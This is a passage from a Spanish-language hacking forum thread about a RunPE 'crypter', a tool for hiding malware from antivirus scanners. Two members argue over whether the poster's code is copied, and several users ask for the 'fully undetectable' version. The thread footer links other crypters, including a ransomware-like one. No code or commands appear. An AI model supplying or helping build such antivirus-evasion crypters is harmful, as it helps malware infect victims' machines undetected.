  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Septiembre 08, 2015, 11:55:49 am
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
  • Skype: nico.buzzi
    • Ver Perfil
    • Email

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Septiembre 08, 2015, 01:33:56 pm
You are not allowed to view links. Register or Login
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.

Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
El arte de crear malware, es algo que solo pocos entienden!


Desconectado OnTheCore

  • *
  • Underc0der
  • Mensajes: 58
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Septiembre 08, 2015, 03:35:59 pm
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.

Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
Creo haber escrito un post acerca de crypters de este tipo. No aprendi eso magicamente.
Dudo que sepas para que funciona cada api que usaste en ese codigo.
No aporto codigo para evitar que la gente copie y pegue, como hacen siempre ;)

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
  • Skype: nico.buzzi
    • Ver Perfil
    • Email

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Septiembre 08, 2015, 03:58:54 pm
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.

Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
Creo haber escrito un post acerca de crypters de este tipo. No aprendi eso magicamente.
Dudo que sepas para que funciona cada api que usaste en ese codigo.
No aporto codigo para evitar que la gente copie y pegue, como hacen siempre ;)

Revisa mis aportes anteriores y comprueba si se o no se del tema, cada API y más aun de las que hay en el code.
Por algo soy de los que aporta y no de los que critican. Mi intención fue a portar un code que tenia desarrollado
no discutir de lo que se o lo que no.
Con respecto a tus post, son puras criticas hacia la gente que aporta, si bien si hay mucha gente que aporta cosas robadas, este no es el caso.
Pero en fin no siempre se deja contento a todo el mundo, que pases un buen resto del dia, no me interesa discutir.
El arte de crear malware, es algo que solo pocos entienden!


Desconectado OnTheCore

  • *
  • Underc0der
  • Mensajes: 58
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Septiembre 08, 2015, 04:01:09 pm
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.

Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
Creo haber escrito un post acerca de crypters de este tipo. No aprendi eso magicamente.
Dudo que sepas para que funciona cada api que usaste en ese codigo.
No aporto codigo para evitar que la gente copie y pegue, como hacen siempre ;)

Revisa mis aportes anteriores y comprueba si se o no se del tema, cada API y más aun de las que hay en el code.
Por algo soy de los que aporta y no de los que critican. Mi intención fue a portar un code que tenia desarrollado
no discutir de lo que se o lo que no.
Con respecto a tus post, son puras criticas hacia la gente que aporta, si bien si hay mucha gente que aporta cosas robadas, este no es el caso.
Pero en fin no siempre se deja contento a todo el mundo, que pases un buen resto del dia, no me interesa discutir.
Critico para ayudarlos/guiarlos. Por lo que veo en tus posts, por ejemplo el de la infeccion de ejecutables, veo que no tenes ni idea de que es una cabecera PE y estas portando tecnicas de mala calidad empleadas en vb6 generalmente. Sacate el titulo ese de programador de malware que vos solo te pusiste.

Desconectado 9823hh9r2da

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Septiembre 11, 2015, 06:24:27 am
Me interesaria la version fud, gracias

Desconectado NightBro

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Septiembre 13, 2015, 01:35:54 pm
Podrías compartir conmigo la versión FUD?
Muchas gracias.

Desconectado Tenebrae333

  • *
  • Underc0der
  • Mensajes: 4
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Octubre 23, 2015, 08:02:45 pm
Estoy de acuerdo, siempre es mejor aportar que sólo criticar.

Podrías compartirme la versión FUD por favor? Desde ya gracias.

Desconectado opadrino

  • *
  • Underc0der
  • Mensajes: 40
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Octubre 27, 2015, 05:29:16 pm
Me gustaría tener la versión FUD, para hacer unas pruebas.

Comentar también que es excelente tu trabajo, pues otros cryoters y otros trabajos que has hecho son estupendos.

Gracias por compartir.

Desconectado wooooph

  • *
  • Underc0der
  • Mensajes: 104
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Octubre 30, 2015, 04:40:28 pm
 yo llevo varias semanas practicando con crypters de hecho ya publique algunas dudas que tenias
asi que por mi si puedes pasar la version
te lo agradeceria

Desconectado eimattz

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
  • Skype: matjsote
    • Ver Perfil
    • Email

Re:Crypter [RunPE][Función compresor][9/56 Antivirus]

  • en: Noviembre 04, 2015, 06:37:59 pm
Muy bueno, te mande un mp para la version fud ;)

 

Crypter Tensa ZanGetsu by ZanGetsu

Iniciado por ZanGetsu

Respuestas: 0
Vistas: 2992
Último mensaje Julio 27, 2014, 01:12:15 am
por ZanGetsu
Vaultimore Crypter 1.1 # Especie de "Ransomware"

Iniciado por JoxM

Respuestas: 2
Vistas: 5494
Último mensaje Agosto 28, 2018, 08:13:09 am
por JoxM
Virus Total Crypter byRoda Mini ¦ MiniMod By N3G0

Iniciado por N3G0

Respuestas: 2
Vistas: 4257
Último mensaje Septiembre 05, 2015, 09:23:21 pm
por Gabriela
Crypter Freddy Krueger Vs Jason ¦ By N3G0 [FUD] [FREE]

Iniciado por N3G0

Respuestas: 2
Vistas: 3442
Último mensaje Junio 19, 2015, 02:09:06 am
por coolmix007
Underc0de Crypter Super FUD + [Stub 24K] ByRoda

Iniciado por Roda

Respuestas: 15
Vistas: 8774
Último mensaje Diciembre 22, 2014, 08:17:02 am
por blackdrake